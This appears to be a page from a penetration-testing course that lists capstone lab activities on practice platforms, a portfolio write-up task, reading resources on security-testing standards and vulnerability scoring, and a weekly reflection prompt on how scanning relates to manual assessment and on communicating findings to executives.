🎯 Hands-On Capstone Activities
Conduct comprehensive infrastructure vulnerability assessment for your capstone engagement.
🔍 HTB Challenges: Infrastructure Pentesting
What you'll do: Complete infrastructure penetration boxes—network scanning, service enumeration, vulnerability exploitation.
Time estimate: 4-6 hours
🧾 Portfolio Finding Write-Up
What you'll do: Draft a professional vulnerability write-up with evidence, impact, and remediation guidance.
Why it matters: Hiring managers want to see how you communicate technical risk.
Time estimate: 2-3 hours
Deliverable: Sanitized finding write-up ready for portfolio
💡 Capstone Strategy: Document every finding with evidence—screenshots, command output, exploitation steps.
Resources
NIST SP 800-115: Technical Guide to Information Security Testing
Federal guidance on security testing methodology including vulnerability scanning, penetration testing, and assessment reporting.
NIST SP 800-115 60 minutes (Sections 4-5)CVSS v3.1 Specification Document
Official specification for the Common Vulnerability Scoring System. Essential for understanding and interpreting vulnerability severity.
FIRST CVSS v3.1 Specification 45 minutesTryHackMe: Nessus Room
Hands-on practice with Nessus vulnerability scanner including installation, configuration, and result interpretation.
tryhackme.com/room/rpnessusredux 90 minutesWeekly Reflection
Prompt
Consider the relationship between automated vulnerability scanning and manual security assessment. What can scanners find that humans might miss? What can humans identify that scanners cannot? How does the validation process you performed this week illustrate the importance of human judgment in security assessment?
Reflect on how you would explain vulnerability assessment findings to NovaTech's CISO versus their CEO. How does audience affect how you present the same technical information? Connect this to the business-focused security communication skills essential for professional practice.
Target length: 250-350 words